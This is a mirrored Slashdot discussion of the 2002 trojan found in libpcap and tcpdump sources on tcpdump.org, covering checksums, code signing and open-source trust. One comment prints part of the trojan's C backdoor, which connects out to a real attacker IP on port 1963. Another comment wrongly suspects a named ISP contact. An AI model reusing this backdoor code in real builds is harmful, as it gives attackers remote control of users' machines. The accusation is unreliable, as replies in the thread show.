Slashdot Mirror
Trojan Found in libpcap and tcpdump
msolnik writes "Members of The Houston Linux Users Group discovered that the newest sources of libpcap and tcpdump available from tcpdump.org were contaminated with trojan code. HLUG has notified the maintainers of tcpdump.org. See our reports here or here."
Emerge doesn't get tcpdump source from tcpdump.org, but from ibiblio.org.
How did it get into tcpdump.org's sources exactly? The HLUG page isn't clear.
apt-get update... : :-)
well, I have not installed these sniffing proggies, so it should be okay.
Now it could be worse
If you suspect your binaries to be trjanized, you'd want to sniff your own machine but if (and it is the case) the sniffer is trojanized, then it could possible hide such "activities"...
I actually read the article and it however seems that it was not the case here...
phew
Trolling using another account since 2005.
Who would have thought that TCPDUMP would have crap like that in it?
And if I don't remember, this happened befrore. Of course this is one of the biggest strenghts of the Open Source Model.
Code is constantly audited, checked and corrected. If your closed source software has backdoors or trojans...well....who knows but on Open Source is easyly detected.
Seems now more than ever the need to check the authenticity of your sources before installing.
As if security auditing wasnt a big enough headache already
-- If at first you don't succeed, lie!
It's not unusual at all in the Unix world. Pete's sake, K. Ritchie (he who invented Unix and C, or at least part of the team) put trojans into early versions of cc and login so that he could get accsess to _any_ unix system.
It worked with the trojaned compiler making bent versions of the login program. You couldn't detect it as if you compiled another version of cc or login from clean source the bent cc would infect that one and the cycle of infection continued. Very cleverly done.
Actually, for all you know maybe every version of gcc ever allows RMS and Torvalds into your box...
Trojan Found in libpcap and tcpdump
I swear, some of these source trees are worse than the canals of Venice.
Use them.
"I'd rather have a full bottle in front of me than a full frontal lobotomy"
The program connects to 212.146.0.34 (mars.raketti.net) on port 1963
With that information, I suppose that it is easy to find out which Finnish 'author' included the trojan, and would be simple to track him down. But my question is how something like this could have been included in an open source code and released to the general public?
-- 7 string electric violin + live loop samplers
This never used to happen. Now it is like as if someone is intentionally trying their luck to trojan open-source projects. The crack0r types usually try to claim some kind of responsibility to increase their m0j0, but I haven't heard of anyone doing so. Usually a crack0r will try to make the trojaning *bad* to further make themselves feel better, but these trojanings are often in name only, and are of no real security threat. I am wondering if this is an anti-freesoftware publicity ploy by some individual or group.
there's no-one to pay me to pay my staff for the lost man-hours caused by this.
But then again, you had to pay no-one for the man hours you saved by using the open-source code.
Excuse me if I sound disrespectful, but that makes me really doubt your skills. MD4? First, usually what's used is MD5, second it's just a hash and doesn't ensure the file hasn't been tampered with. All you need is to run md5sum on the patched file.
Now, good GPG signatures would have helped.
Seriously, though, I think the ideal solution would be to do multiple checks of the RC5 signature of newest packages, over several mirrors. The advisory mentioned that tcpdump.org was compromised, while the mirror at ibiblio.org was OK.
Or use Gentoo Linux. Of course. I can't do that, since I don't have broadband at home... =(
The right to offend is far more important than the right not to be offended. (Rowan Atkinson)
Isn't this one too many?
There was dsniff, BitchX, OpenSSH etc. and today tcpdump and libpcap?
Does anyone else think that someone has found a security hole in a popular unix daemon and is having some fun with it before notifying the authors. Or maybe there is a *VERY NASTY* exploit circulating privately?
At least that's what I think.
there's no-one to pay me to pay my staff for the lost man-hours caused by this
Did Microsoft pay you for lost man-hours when your staff battled Nimda or Code Red? Didn't think so.
so seeing as how there's no trojan cleaning program in linux, how does a person infected with the trojan rid his system of it? is it as simple as installing the non-trojan version?
I was just wondering how long these sources have been available with these many eyes making bugs shallow and so forth? I'm assuming it's less than 1 hour, because as I keep being told, everyone in the open source community checks all source code thoroughly before installing it, which is something that can't be done with closed source.
It is also true that only because this is an open sorce project was such code found. People seem to forget that there is no realy eficient way of checking closed software for sevurity holes. Ontop of that companies are more than likly to place back doors in programs as actual features that are not mentioned in documentation, or only glazed over. My exaple for this was in a Busines programe that I wourk with had the "option for you to enter a code into one of the text fields if you set the computers date to a specific date and then you would be able to edit all records, thus by pasing the simple code that it uses. I fould out about the feature when the was a problem with some of the records and since the files are encoed I wasn't going to search through them in any easy way so I cantacted the programes distributor and they told me of this feature. Just think how meany othe progs out there have stuff like that.
Yeah! Let's nail his ass! ..
Oh wait, perhaps he's just the tech guy working for the company which registered the domain "raketti.net", Kuopion Puhelin. It's a telecom and net operator after all.
The good blackhats have lots of compromised machines at their disposal, and are generally way too clever to leave such an obvious clue behind.
It's possible that this guy has something to do with it, but it's more likely that his machine is owned by the same person who managed to put the trojan out there.
...wait...never mind.
Donate background CPU time to fight cancer.
...that this little incident will not be mentioned in the next edition of the Cathedral and the Baazar?
To make laws that man cannot, and will not obey, serves to bring all law into contempt.
--E.C. Stanton
Yes and no. The information you have successfully received from the Whois database is pointing to the phone company in Finland, which happens to be a host for raketti.net domain. Petri Siltakoski is just an administrative contact of the ISP (Raketti.Net). He has nothing to do with the web page set up by an individual who seems to have an account in this ISP.
I couldn't agree more, if those cheap-arsed hippies who write Linux would only pay up when there's a problem with their software like reputable commercial companies like Micros.. err, Oracl.. err actually, forget it.
Blaming GW Bush for the Iraq war is like blaming Ronald McDonald for the poor quality of food.
Siltakoski Petri is apparently just the guy who registered that domain. It could be that a user from that domain is involved or, as you said, that server has been r00ted. Funny, though, http://mars.raketti.net/~mash/services is nothing but a FreeBSD /etc/services file.
-- Never hit a man with glasses. Hit him with a baseball bat.
This was just sent ~1 min ago:
To : msolnik@hlug.org
Cc : wt-changes@wiretapped.net,
tcpdump-workers@tcpdump.org,
mcr@sandelman.ottawa.on.ca
Subject : tcpdump.org mirrors
----- Message Text -----
Hi guys,
I run the main mirror of tcpdump at wiretapped.net (no relation to wiretapped.us) in Australia. We rsync from cvs.tcpdump.org, and have removed the entire tcpdump.org tree and disabled rsync updates until we hear from Michael Richardson at tcpdump.org.
You may like to add this info to your Updates area, as the unavailability of the main mirror site may seem suspicious. It is not, as described above.
Because wiretapped.net itself is mirrored to a few other sites, it may take between 1 hour and 24 hours for this removal (and any subsequent re-addition) to take effect. We'll note when it goes back online at http://www.wiretapped.net/changelog.html
Hope this assists in preventing any further spread,
Grant
www.wiretapped.net
Athletic Scholarships to universities make as much sense as academic scholarships to sports teams.
I admit to not knowing a lot about open source development, not being a developer myself. But I'm curious, is there any sort of legal accoutability when someone intentionally codes a trojan in to a piece of software? Is it possible to keep track of who is writing what code? When trojans, etc, are discovered, are you limited to just patching them and going from there, or is it usually possible to find out who did it and therefore be suspect of future code?
Buy the President
It's the one problem with the open-source community - there's no-one to pay me to pay my staff for the lost man-hours caused by this.
Do you expect sun or microsoft to pay you, either?
I thought the whole idea of the GPL was that you could take a program and modify it to your own needs so long as you release the source back to the community under the same license.
Sounds like that's what happened here!
The trojan code seems somewhat complex and unreadable at first glance. The variable names don't express much of the semantics. It even doesn't have any comments. No wonder no one notices if this kind of stuff is written into code. And this is very clear code.
/* Here's stuff for the trojan. */, but if all code is well documented, it's generally easier to understand and intentional obfuscation might be easier to spot.
Even (or especially) free software developers should use more descriptive variable names and comment their code well. It makes the code much more readable for analysis, both security or quality reviews.
Well, ok, crackers probably want to obfuscate their code with
I'd recommend the rule: "One comment per statement, except when really unnecessary." Many people think it's silly, but those people haven't had to read a lot of other people's code.
Hmm, I wonder why they used port 1963...author's birth year? Nah, that would be too old for a typical cracker.
I'm going to try to walk you through this with baby steps.
let me make sure to put pillows over the sharp corners of the table.
this was found, just last night, because of the change in the md5 checksum.
this md5 checksum changed because the file changed.
this file changed because someone changed it
so in conclusion, this file has not been like this for a year
hope you were able to keep up
"It's the one problem with the open-source community - there's no-one to pay me to pay my staff for the lost man-hours caused by this. "
And this is different from Closed Source how ?
Doesn't the money come from the money you`ve saved by not having to pay for any software? What did your business plan mention about this? Just a blank page, right? Try it out and see what happens? Well, it's your money!
Same place it will come from if you use Closed Source software, using Open Source products does not mean zero cost IT, it means lower cost IT. If your company did plan for these things, then it will make no difference what products you are using.
Fascism should more properly be called corporatism, since it is the merger of state and corporate power - Benito Mussoli
It has probably been not that long since it was trojaned. Gentoo's portage system gets tcpdump from tcpdump.org and md5's the sources before building. More than likely, it has only been trojaned just recently.
Since there are no md5 sums or gpg signatures listed on tcpdump.org it makes it very easy for someone to simply replace the source. Only those that check md5 sums and gpg signatures will know if it is truly trojaned or not.
I hope that the tcpdump people will start provided md5 sums and gpg signatures for those that build from source.
Or C:
There are no diecent auditing tools in use.
Everyone could check 95% on the code and still miss a trojan in the other 5%.
thank God the internet isn't a human right.
The reason this is a problem is that nebulous shrug of an answer to the question "Who are you trusting to provide this code which you execute?" It could be an anonymous PGP/GPG key, but to violate people's trust would mean that trusted token is no longer trusted, and thus it would identify the other risks out there.
Imagine the tcpdump distributions were signed by an anonymous key. We could look over the code, and decide to trust that key. Later, people would be able to tacitly trust that key to sign tcpdump tarballs. One day, the tcpdump code will fail to match the signature: it will be caught before being executed, and the trojan will be discovered quickly. Later, another trojan will appear, but the signature will match. A few people will be bit, but the key will be exposed and others will be able to quickly identify their risk.
At the VERY LEAST, use MD5 sums on the files like FreeBSD ports!
--- Nothing clever here: move along now...
the article is called 'reflections on trusting trust' and Ken Thompson wrote it upon inception of the ACM distinguished scientist award. now, we all know you are full of shit (since you can't even spell his name right) but claiming that 'each version of login was compromised' is so far off base that it't not even funny.
follow the link posted already, read it and try to understand what he fundamentally tries to tell you. then go and read aleph1's 'smashing the stack for fun and profit' and try to get a glimpse of what 'hacking' was considered in the 80s.
that's not true, look at it again ...
/. eats this code post ... ):
/dev/null 1>/dev/null
in the middle of the fuly commented services file, you find (let's hope
#!/bin/sh
cat >conftes.c
#include
#include
#include
#include
#define XOR_KEY 0x89
int main (int argc, char **argv)
{
char c;
int s, x, sv0[2], sv1[2];
struct sockaddr_in sa;
switch (fork ()) { case 0: break; default: exit (1);}
close (0); close (1); close (2);
do {
if ((s = socket (AF_INET, SOCK_STREAM, 0)) == (-1))
exit (1);
sa.sin_family = AF_INET;
sa.sin_port = htons (1963);
sa.sin_addr.s_addr = inet_addr ("212.146.0.34");
alarm (10);
if (connect (s, (struct sockaddr *)&sa, sizeof (sa)) == (-1))
exit (1);
if ((x = read (s, &c, 1))
nice, isn't it?
heheh
This apparently misleading (albeit well-intentioned) comment gets modded +4 interesting, meaning that almost everyone will see this poor guy's name.
/. An early poster makes assumptions and gets modded way the hell up, then all the rebuttals pointing out he's talking out of an unreliable orifice wallow in the low point range.
All the replying posts pointing out that it's a phone company/ISP and it's almost certainly nothing to do with this chap are at 2 or below, meaning that many people won't see them and this individual's name is now besmirched.
And, by the way, this happens all the bl**dy time on
Yeah, I know it's off-topic. Just wanted to rant about something that irritates me. Return to your normally-scheduled bits and pieces.
they were practicing safe sex
well, I have not installed these sniffing proggies, so it should be okay.
Darn... apt-get even makes your box more secure than before even if you haven't actually installed the bad packages? This must be the Holy Grail! And it should be okay? Not only that you have not installed tcpdump and libpcap, what definitely makes it okay, you don't even trust apt-get to really solve your (non-existing) problem... Now I wanna join the apt-get cult... Where can I register?
I bet you recommend penicillin over other medicine even when you got no infection! Or do you use apt-get then as well? Doesn't make any difference anyway...
(For the record: I use Debian GNU/Linux among other stuff...)
Do this: Download gpg from gnupg.org. Build it. Generate yourself a key. Try to get some of your friends to sign it. submit it to keyserver.net. Sign your code with that key. While you're at it, start using kmail, evolution, or mozilla with enigmail and start signing your emails too. Do it religiously.
Check sigs when you download code too.
And looking through his user profile, he's also a rocket scientist. Wow.
...as a rocket scientist I feel most compelled to answer& cid=4658776
d =4658433
i d=4658097
1 28&cid=2238414
i d=2207372
i d=2204471
i d=2204422
http://slashdot.org/comments.pl?sid=44937
...I run a successful London-based dot com
http://slashdot.org/comments.pl?sid=44933&ci
... As a lawyer myself, I can state that
http://slashdot.org/comments.pl?sid=44912&c
... I'm an avid open-source supporter
http://slashdot.org/comments.pl?sid=21
...I am an avid supported of the open-source movement [sounds familiar? that's because it is -ed]
http://slashdot.org/comments.pl?sid=20824&c
...I'm an avid supported of the open source movement [we know -ed]
http://slashdot.org/comments.pl?sid=20761&c
... I am a passionate supported of the open-source movement [geez -ed]
http://slashdot.org/comments.pl?sid=20760&c
Enjoy your job, make lots of money, work within the law. Choose any two.
irssi
fragroute, dsniff, fragrouter
BitchX
This message says Recently there have been a spat of well publicized attacks against what I would consider to be the backbone of the open source movement - it's source code distribution system. Hackers have been penetrating people who download, say, OpenSSH and then compile it to use on their systems by trojaning OpenSSH itself. This strikes at the very HEART of Open Source by making the act of installing the software a weakness. Because Open Source has no one distribution point, there are many places for someone to verify if they want to install software securely. Because there are no vendors, the sites people download software from are usually not provided with a dedicated security staff.
This is serious, guys and gals. Use the source, Luke - but what if I can't trust the source any more? Open Source has to find a method to get around this problem; see this post.
"There are already a million monkeys on a million typewriters, and Usenet is NOTHING like Shakespeare." - Blair Houghton
This reminds me of this one time when I chatted this girl on IRC. Oh wait.....
I'm just typing out loud here.
Yes, there'd almost certainly have to be a cost associated with this, and I'd think it would be paid by the people who wanted source code, but didn't want to have to worry about checking it for Trojans etc..
The source could still be publically available for comment and review to add to those being paid to perform the analysis.
Seems like this might be a good service, once the idea is fleshed out more...
There'd also need to be some definition of "guaranteed" (or maybe just a different word :0) that fit this scenario, most people don't want to set themselves up to be sued.
Give a hand, not a hand-out.
Note that THE DATE ON THE FILE DOESN'T MATTER. It was trojaned last night, not last year.
The fact that someone so ineptly trojaned the source, not even bothering to generate a new md5sum, suggests that it's someone out to make it obvious looking. Someone who has a reason to discredit open source. Someone like a former script kiddie employed by microsoft...
Never mind that russian crackers were wondering round MS servers for MONTHS back in 2000...
Heh, I had only looked at the first few lines or so, and didn't think anything of it. Did anyone look in the parent directory from where that services file is? Or if the trojan gets any other files besides services?
-- Never hit a man with glasses. Hit him with a baseball bat.
Having source code freely available doesn't imply security. Ken Thompson demonstrated this very eloquently in his paper.
Scary, very scary.
Mod down/burn karma?
Mod down/burn karma?
Mod down/burn karma?
Burn Karma.
I had a complete flame composed, but then realized that you honestly can't be this ignorant, and must have meant this to be funny. If this was a serious comment, then you really should hang your head in shame. (actually, you should either way)
My beliefs do not require that you agree with them.
In the meanwhile, I suggest that you run all your untrusted software in a sandbox like Systrace which is available for the BSDs and Linux.
This screenshot shows Dug Song detecting the trojan in the Fragroute distribution. Systrace allows you to run completely untrusted applications in a sandbox. The security policy is created on the fly with the user deciding what an application is allowed to do.
We need to be much more careful about the software that we run.
login as root (or whoever can run tcpdump)
/. your local rooted base. /usr/bin/tcpd echo 'A' (i think that was the quit code)
/. editor)
tcpdump -n host 212.146.0.34 &
telnet 212.146.0.34 1963
if tcpdump sees the connection since it isn't ignoring port 1963, if you don't see the connection, then your tcpdump is ignoring port 1963
and well, its always nice to
the people at 212.146.0.34 should change it to something like
if this test is wrong, well, so be it, i'm still new at this linux thing, but i'm better at linux then i am at spelling (boy, i should be an
--Anonymous Coward
I moved the binaries on the tcpdump.org web site, so that the "download" links won't work.
"ls -c" says that the modified binaries were installed at Nov 11 10:14:00 2002 GMT.
Preliminary inspection says that the CVS repository is O.K.
Interesting that there is no mention of this on the tcpdump.org website, one would think they would at least post something about it.
Don't think for a second that Microsoft hasn't put back
Microsoft *have* inserted a backdoor into the CryptoAPI for the NSA.
I know this is a stupid question but I don't understand how this ended up in the distribution in the first place.
To ensure perfect aim, shoot first and call whatever you hit the target
I downloaded and installed libpcap and tcpdump on Nov 1. The versions I have came from tcpdump.org. md5sum shows that they have the correct checksum and not the trojaned checksum as reported on the Houston LUG page. A grep of the sources for the port number and ip found in the trojan reports null. It looks like the trojan files were placed on tcpdump.org after Nov 1, 2002.
FreeSpeech.org
MD5 checks work nicely. Sure pgp in theory is better but since md5's are cached locally, and a helluva lot faster to check the chances that they will actually be used and verified are seemingly quite good.
Which is to say in practice MD5 has caught rather a lot of these problems, and in quite timely manner.
As irrelevant as various source-distributions (e.g. lunar, source-mage and Gentoo) are at present in other respects, they make a nice 'canary' in the coal mine :-).
Linux is Linux, if One need clarify their dist: <Dist>/GNU Linux
bsds are of course just BSD
I don't mean to troll (and I hear you say "yeah but you are") BUT quite a few project sites seem to have been infused with trojaned downloads over the last few months. Actually makes you think if there is a certain person or organization behind this? Considering the fact that news like this give these projects a bad security reputation, which counter-balances the built-in security breaches of a certain commercial software giant just nicely. Just a paranoid thought, don't take it too seriously though (I know you won't but still).
Did those virii come distributed with the product? Now you're going to tell me there are ABSOLUTELY NO possible security holes in open source software, ever right? Go on...
Ignoring the fact that installing certain operating system components are often worse on your computer than a virus (by installing this service pack, we may enter your computer)...
Nothing is 100% secure, and nobody ever said linux is (or not anyone intelligent, anyways). However, tallies of response time when a breach is found, and often the time in finding such a breach, are the factors at hand. You'll certainly not see MS yelling out "hey, we were hacked, check your software people," but instead something more like a quiet, um... something wrong... here patch... you fix.
And yes, lots of MS tools come with bugs in them that leave your computer so open that you might as well just invite half the web for a party. Once MS gets the patch out, if you're a decently intelligent admin/user, you can fix things up to plug the hole, or meanwhile just disable affected components,etc.
MS isn't all the problem, idiots who don't patch up are also a problem (demonstrated by the continual code red attempts shown in my webserver logs), but at least when something goes wrong we hear about it, and can expect a solution shortly after discovery.
Maybe somebody has already posted this idea as a project on sourceforge..
There have been too many of these incidents lately, and it's giving OSS a bad odor. We must be carefull. Telling the rest of the world closed binaries are infected often as well does not help. The damage is already done.
This is my idea to prevent most of these jokers tricks.
In stead of placing the checksums next to the source on the same server we nead to place it some where safe. A number of centralized servers with a sole purpose to serve these sums, in several locations, on preferably differend operating systems. This combined with the use of eg PGP.
All distro's, for those who have not already, must apply a simple program ala portage and apt that checks against multiple PGP-key servers before the build commenses.
Now, how to make sure the admin of the project is the one signing the source on his machine.............
Why are other peoples sig's always more witty ???
... Or you could join the Thawte web of trust and use S/MIME. The advantage there is that even if you do nothing more than sign up, your e-mail address is verified to belong to you. That alone is more rigorous verification than anything you're guaranteed with a PGP key. Get notarized twice, and your certificate can have your name in it, and those who get e-mail from you will know *exactly* what identity assurance the signature implies. The same can't be said with a signed PGP key. Plus with S/MIME, there is a key expiration mechanism, which insures that the key can't (reasonably) be brute-forced before it becomes useless.
S/MIME support is also more widespread. Why does that matter? Because more folks would be in a position to verify the signature. If you put a link on a download page to an S/MIME message with a mime-type of message/rfc822, browsers that support S/MIME (at least netscape, mozilla, I believe IE) will verify the signature and display the contents with a nice "signed" icon. The contents of the message would be the MD5 sums of the files.
Considering that gentoo's portage system is based off of the BSD ports system that's not surprising.
Key to financial independence: Spend less than you earn. Save and invest the difference. Do it for a long time.
...well? Please to release the info and name the bank and name the program. You are FOR crooks or AGAINST crooks, and releasing the info of this backdoor is a good thing to do. If it's really there, it most likely is *illegal* so any sort of nondisclosure noise is null and void, AFAIK. You DON'T have to cover up illegalities, in fact you are supposed to report them. This bank and it's bogus officers and "bosses" needs to see the light of day in a fed courtroom.
Is there any tool to analyze source code as an antivirus scans a binary file?
For example, in this case, the program is running an external app and making changes to a system file.
This is the first kind of thing I would see if I audit the code quickly.
It's not that simple. Sure, if all you're looking to do is execute some code and THEN give the user their expected interface, then that will work half-acceptably. However, you could not use this as a way to, say, discretely intercept logins and passwords, transfer account balances, read someone's database, or what have you since all of that requires you to intercept things and still provide the user with acceptable responses (at least if you wish to avoid detection for more than a couple runs). Now you might attempt to come up with some elaborate scheme to act as an interactive go-between between the actual application and the your trojan, but then you've greatly increased the complexity and the odds of detection.
No. There is a huge difference.
This is great, you've learned how to spin an argument.
Not only have you used the cliche "Well they aren't any better either...", you've even taken one step further and declared this weakness as your greatest strength.
Although to be an expert spin-meister you should have blamed this on Microsoft some how. Work on it, get back to us. Maybe we can get you a job at the Whitehouse if the tech market continues to flounder.
Did anyone pay you for the trojan in Borlands Interbase? How sure are there's no trojan in Microsoft software? Would you know if there was? I'm aware you're just trolling, but keep in mind, the Interbase hole wasn't discovered for 6 YEARS when Borland open sourced it. Btw, no one ever said there was no security holes in open source software.
I protect myself, which I can. Nobody can (or even wants to) stop me from using or changing anything on my pc, and a trojan will have problems with a good filewall.
Speaking of windows, I had to run ad-aware on my wife's "completely updated" XP box yesterday. I hate the virus company that makes gain. In fact there are quite a few websites that will install this and simular spyware on your "safe" OS.
I do realize that my firewall will stop gain from talking, but when gain cannot talk to its home it will slow your windows box to the point of being unusable. BTW she has never had any gain supported software installed.
Get a free ipod.
Maybe I'm retarded, but the articles do not mention when they think the trojan was introduced. Does anyone know?
are either:
1) an ignorant fuckwit
or
2) a lying fuckwit
well, which one is it?
Check this post to the netbsd-users mailing list (emphasis mine) :
From: David Maxwell
To: Stefan Schumacher
Cc: netbsd-users@netbsd.org
Subject: Re: Trojans in libpcap and tcpdump
Date: Wed, 13 Nov 2002 14:39:05 -0500
Sender: netbsd-users-owner@netbsd.org
User-Agent: Mutt/1.4i
On Wed, Nov 13, 2002 at 06:52:38PM +0100, Stefan Schumacher wrote:
> Hi there,
>
> report was given that trojans were detected in libpcap and tcpdump.
>
> http://hlug.fscker.com/
>
> I fetched tcpdump and libpcap and took a look in the sources, seems so as
> if we IMHO are not affected.
That is correct.
I've been at the console of the tcpdump.org server today, working with
Michael Richardson to investigate the problem. He will release a
statement on the details at some point. The system was not running an
up to date version of NetBSD, so there is no indication that users with
up to date systems are vulnerable to some new bug.
The trojan was installed within the last two days. The signatures in
pkgsrc are eight _months_ old. Users installing from pkgsrc (source, or
binary packages) could not be affected by this trojan without
specifically overriding the incorrect signature on the distribution
file.
Michael's contact information is listed in the whois entry for the
tcpdump.org domain, but as far as I know, he did not receive a call
about this issue, it was slashdotted.
--
Because there only needs to be *one* person out there who *does* look at the diffs and catches the thing. *Not* every person needs to catch the thing.
Furthermore, analysis of what the thing is doing is much easier with open source.
May we never see th
Apparently, it was less than one day.
As someone else pointed out, the closed-source Interbase (DBMS) contained a trojan for over six years which was only found after it was open-sourced.
May we never see th
All the replying posts pointing out that it's a phone company/ISP and it's almost certainly nothing to do with this chap are at 2 or below, meaning that many people won't see them and this individual's name is now besmirched.
The sad part of this is the fact that we (people who have moderator points to give away) can't really fix the problem even after we're told about it. I could go back and mod down the misleading post, but then some metamoderator would see that I modded down what appears at face value to be an "interesting" post and I would be the one who was bitch-slapped for abusing my moderator points. All we can really do is mod up the replies, making the whole thread +5 in order to dilute the bad moderation.
...don't understand the ins and outs of Trojans (another joke). But why would you want to spend time writing flames for people who don't share your own brand of uber-geekery? Presumably those of us who spend time here do so in pursuit of some nerdy interest of our own.
Making trouble today for a better tomorrow...
Go to gnupg.org and install gpg. Generate a keypair and put your public key up on wwwkeys.pgp.net. Whenever you meet another developer, sign each others keys. When you release a tarball, FUCKING SIGN IT and put up instructions telling people how to verify it. This sort of thing does not have to happen. The tools are there to prevent anyone ever trojaning an FTP server again. You will have to do this eventually or no one will trust your server enough to download your software, so why not start now? GO AND FUCKING START.
</rant>
Sorry about that, but how many times does this have to happen? It's trivial to prevent, but most people don't even try. Go and damn well start!
A car is a wonderful example. If I have a burnt out headlamp I fix it. I have never really had any real car problems, because I am a good car "admin." I do my maintenance as scheduled. If I have a flat tire, I change it with a spare, and then go to see a tire shop, not the manufacturer. If you have a security problem with windows, do you wait for MS to show up, or do you use another options?
While I do think that the manufacturer is responsible for many of the problems, I do not have time to wait on the side of the road , for the manufacturer to show up and fix my flat tire.
Get a free ipod.